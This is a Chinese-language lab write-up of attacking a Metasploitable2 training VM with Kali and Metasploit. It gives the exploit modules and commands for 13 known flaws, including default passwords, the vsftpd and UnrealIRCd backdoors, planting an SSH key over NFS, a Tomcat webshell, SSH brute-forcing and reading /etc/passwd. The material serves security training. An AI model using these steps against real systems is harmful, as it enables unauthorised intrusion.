Metasploit靶机漏洞实践检验

目的

了解Metasploit渗透测试工具的使用,掌握metasploit靶机上的各种漏洞详细信息以及攻击方法。

内容简介

使用Metasploit渗透测试软件对Metasploitable靶机系统主机进行攻击,检验各种常见靶机漏洞的情况。

Metasploitable:

Metasploitable2 虚拟系统是一个特别制作的Ubuntu操作系统。本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only。

Metasploit:

Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展为成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。

渗透测试的流程:

目前安全业界流行着许多开源渗透测试方法的体系标准,主流的包括下面几个:

1.OSSTMM(安全测试方法学开源手册)

2.NIST SP 800-42 网络安全测试指南

3.OWASP 十大Web安全应用安全威胁项目

4.Web安全威胁分类标准

5.PETS渗透测试执行标准

其中PETS渗透测试执行标准是由安全界多家领军企业专家共同发起的,其标准中定义的渗透测试过程环节基本上反映了安全业界的普遍认同,具体包括以7个阶段。

1.前期交互阶段

渗透测试团队与客户组织进行交互讨论,确定渗透测试的范围、目标、限制条件以及服务合同细节,集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、 项目管理与规划等活动。

2.情报搜集阶段

渗透测试团队利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置 与安全防御措施的信息。可以使用的情报搜集方法包括——源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。

3.威胁建模阶段

在搜集到充分的情报信息之后,针对获取的信息进行威胁建模与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。

4.漏洞分析阶段

确定出最可行的攻击通道之后,需要考虑该如何取得目标系统的访问控制权,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全 漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻 击的攻击点,并在实验环境中进行验证。

5.渗透攻击阶段

渗透测试团队利用所找出的目标系统安全漏洞,真正入侵系统中,获得访问控制权。

6.后渗透攻击阶段

渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。

7.报告阶段

渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告。这份报告包含前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时要站在防御者的角度上,帮助分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。

运行环境

 VMware虚拟机,KaliLinux操作系统,metasploitable靶机(IP地址:192.168.5.136

步骤

1.弱密码漏洞(Weak Password)

原理:系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。

影响系统/软件:

所有使用用户名/密码登录的系统/软件都有可能存在此问题。

在Metasploitable2中,系统口令、MySQL、PostgreSQL和VNC远程登录都存在弱密码漏洞。

利用步骤:

系统弱密码登录:

在kali上执行命令行telnet 192.168.5.136 23

login和password都输入msfadmin

登录成功,进入系统

Metasploit靶机漏洞实践检验_第1张图片

相同的步骤,弱密码还有user/user、postgres/postgres、sys/batman、klog/123456789、service/service

MySQL弱密码登录:

在kali上执行mysql –h 192.168.5.136 –u root

登录成功,进入mysql系统

Metasploit靶机漏洞实践检验_第2张图片

PostgreSQL弱密码登录:

在kali上执行psql –h 192.168.5.136 –U postgres

输入密码postgres         

登录成功,进入postgresql系统

Metasploit靶机漏洞实践检验_第3张图片

VNC弱密码登录

在kali图形界面的终端中执行vncviewer 192.168.5.136

输入密码password

登录成功,进入系统

Metasploit靶机漏洞实践检验_第4张图片

Metasploit靶机漏洞实践检验_第5张图片

2.SambaMS-RPC Shell命令注入漏洞:

原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

影响系统/软件

Xerox WorkCentre Pro

Xerox WorkCentre

VMWare ESX Server

Turbolinux Server/Personal/Multimedia/Home/Desktop/Appliance/FUJI

Trustix Secure Linux

SUSE Linux Enterprise

Sun Solaris

Slackware Linux

RedHat Enterprise

Mandriva Linux

MandrakeSoft Corporate Server

利用步骤

在kali中执行msfconsole,启动metasploit

use exploit/multi/samba/usermap_script,选择漏洞

set RHOST 192.168.5.136,设置要攻击的机器IP

exploit,开始攻击u

利用成功,执行uname–a验证

Metasploit靶机漏洞实践检验_第6张图片

Metasploit靶机漏洞实践检验_第7张图片

3.Vsftpd源码包后门漏洞:

原理:

在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

影响系统/软件

Vsftpd server v2.3.4

利用步骤

在kali中执行msfconsole,启动metasploit

use exploit/unix/ftp/vsftpd_234_backdoor,选择漏洞

set RHOST 192.168.5.136,设置要攻击的机器IP

exploit,开始攻击

利用成功,执行uname–a验证


Metasploit靶机漏洞实践检验_第8张图片

4.UnrealIRCd后门漏洞

原理

在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。

影响系统/软件

Unreal UnrealIRCd3.2.8.1

利用步骤

在kali中执行msfconsole,启动metasploit

useexploit/unix/irc/unreal_ircd_3281_backdoor,选择漏洞

set RHOST 192.168.5.136,设置要攻击的机器IP

exploit,开始攻击

利用成功,执行uname –a验证
Metasploit靶机漏洞实践检验_第9张图片

5.Linux NFS共享目录配置漏洞:

原理:

NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys可被修改,实现远程ssh无密码登陆。

影响系统/软件

所有Linux系统的NFS服务

利用步骤

在kali上执行命令行rpcinfo -p 192.168.5.136,查看nfs服务有无开启:


Metasploit靶机漏洞实践检验_第10张图片

用showmount -e 192.168.5.136查看其设置的远程共享目录列表:

输入ssh-keygen生成rsa公钥:


Metasploit靶机漏洞实践检验_第11张图片

依次输入

mount –t nfs 192.168.5.136:/ /tmp/t00l(预先创建),把192.168.5.136的根目录挂载到/tmp/t00l/下。注:如果提示下图中错误则需要/etc/init.d/rpcbind start来启动mount

cat /root/.ssh/id_rsa.pub >>/tmp/t00l/root/.ssh/authorized_keys,把生成的公钥追加到靶机的authorized_keys下;

[email protected],实现无密码登陆。

Metasploit靶机漏洞实践检验_第12张图片

Metasploit靶机漏洞实践检验_第13张图片

  6.Java RMI SERVER命令执行漏洞:

原理:

Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行

利用步骤

Nmap –p0-65535192.168.5.136来查看1099端口是否开启


Metasploit靶机漏洞实践检验_第14张图片

依次输入以下命令:

useexploit/multi/misc/java_rmi_server

set RHOST192.168.5.136(靶机IP)

exploit

shell(进入meterpreter时执行)


Metasploit靶机漏洞实践检验_第15张图片

然后即可获得shell了


Metasploit靶机漏洞实践检验_第16张图片

Metasploit靶机漏洞实践检验_第17张图片

7. Tomcat管理台默认口令漏洞:

原理:

Tomcat 管理台安装好后需要及时修改默认管理账户,并杜绝弱口令,成功登陆者可以部署任意web应用,包括webshell.

影响系统/软件

Nessus

JSPwebshell

利用步骤

访问192.168.5.136:8180,点击tomcat manager,输入tomcat/tomcat,即可进入管理台


Metasploit靶机漏洞实践检验_第18张图片

在自己机器上准备好JSP webshell(liuz.jsp),通过jar –cvf 来打包成liuz.war。

打包成功可以看到应用目录生成(/liuz)

访问192.168.5.136/liuz/liuz.jsp得到webshell


Metasploit靶机漏洞实践检验_第19张图片

Metasploit靶机漏洞实践检验_第20张图片

Metasploit靶机漏洞实践检验_第21张图片

8.Root用户弱口令漏洞(SSH爆破)

原理

靶机root用户存在弱口令漏洞,在使用指南里并没有指出。.

影响系统/软件

Linux

利用步骤

输入nmap –sV –O 192.168.5.136,查看SSH端口是否开启:


Metasploit靶机漏洞实践检验_第22张图片

Metasploit靶机漏洞实践检验_第23张图片

打开metasploit framework依次输入:

useauxiliary/scanner/ssh/ssh_login

set RHOSTS 192.168.5.136

set USERNAMEroot

set PASS_FILE/tmp/r00t/pass.txt(字典文件,需要预先生成)

set THREADS 50

run

  root口令爆破成功 ,口令为root


Metasploit靶机漏洞实践检验_第24张图片

Metasploit靶机漏洞实践检验_第25张图片

[email protected] 成功登陆:


Metasploit靶机漏洞实践检验_第26张图片

9.Distcc后门漏洞

原理

Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制。

影响系统/软件

distcc 2.x

利用步骤

在kali中执行msfconsole,启动metasploit

msf > useexploit/unix/misc/distcc_exec,选择漏洞

set RHOST 192.168.5.136,设置要攻击的机器IP

exploit,开始攻击

利用成功,执行id查看权限,uname  –a验证服务器信息


Metasploit靶机漏洞实践检验_第27张图片

10.Samba Sysmlink默认配置目录遍历漏洞

原理:

Samba是一套实现SMB(servermessages block)协议,跨平台进行文件共享和打印共享服务的程序,samba的sambd默认配置在可写文件共享时,存在目录遍历漏洞,远程用户可以通过smbclient端使用一个对称命,创建一个包含..的目录遍历符的软连接,可以进行目录遍历以及访问任意文件。

影响系统/软件

before 3.3.11,3.4.x before 3.4.6, and 3.5.x before 3.5.0rc3

利用步骤

在kali中执行msfconsole,启动metasploit

useauxiliary/admin/smb/samba_symlink_traversal,选择漏洞

set RHOST 192.168.5.156,设置要攻击的机器IP

msfauxiliary(samba_symlink_traversal) > set SMBSHARE tmp 设置SAM可写文件

exploit,开始攻击


Metasploit靶机漏洞实践检验_第28张图片

root@yd0str:~#smbclient //192.168.5.136/tmp  在新窗口下执行smbclient命令打开上面生成的共享目录

smb: \> cdrootfs  进入rootfs目录

smb:\rootfs\> ls   执行ls命令列出目录


Metasploit靶机漏洞实践检验_第29张图片

smb:\rootfs\> more /etc/passwd 列出密码文件,利用成功


11.PHP CGI参数注入执行漏洞

原理

CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

影响系统/软件

before 5.3.12 and 5.4.x before 5.4.2

利用步骤

在kali中执行msfconsole,启动metasploit

msf > useexploit/multi/http/php_cgi_arg_injection,选择漏洞

set RHOST 192.168.5.136,设置要攻击的机器IP

exploit,开始攻击


Metasploit靶机漏洞实践检验_第30张图片

meterpreter > ls  获得meterpreter,可执行ls列出目录

12.Druby远程代码执行漏洞

原理

Druby配置不当,被滥用执行命令(Distributed Ruby or DRb allows Ruby programs to communicate with eachother on the same machine or over a network. DRb uses remote method invocation(RMI) to pass commands and data between processes)

影响系统/软件

Ruby 1.8

利用步骤

nmap -p0-65535-sS -sV 192.168.5.136,NMAP扫描端口及端口应用(或者amap -bqv 192.168.5.136 8787)

在kali中执行msfconsole,启动metasploit

发现8787 druby端口

msf >search drb 搜索dbr相关漏洞

msf > useexploit/linux/misc/drb_remote_codeexec 使用漏洞

set URI druby:192.168.5.136:8787,设置要攻击的机器的druby链接

exploit,开始攻击

输入id, uname -a确认


Metasploit靶机漏洞实践检验_第31张图片

Metasploit靶机漏洞实践检验_第32张图片

13.Ingreslock后门漏洞

原理

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限

参考链接如下:

利用步骤

在kali中执行命令行telnet 192.168.5.136 1524

获得root权限

执行uname–a验证


Metasploit靶机漏洞实践检验_第33张图片

总结

在实验过程中,由于每个人所使用的虚拟机版本以及镜像文件版本以及运行环境的不同,渗透测试中具体环节的各个细节不会和Metasploit靶机漏洞指南上的完全相同。如当发现自己的kali主机使用rpcinfo指令时返回command not found,则需要手动更新kali相应文件。有一些环节需要创建文件夹和文件的也需要手动创建。
















参考

Metasploitable2靶机漏洞.docx

Metasploitable2使用指南

Metasploit渗透测试 魔鬼训练营



你可能感兴趣的:(Metasploit靶机漏洞实践检验)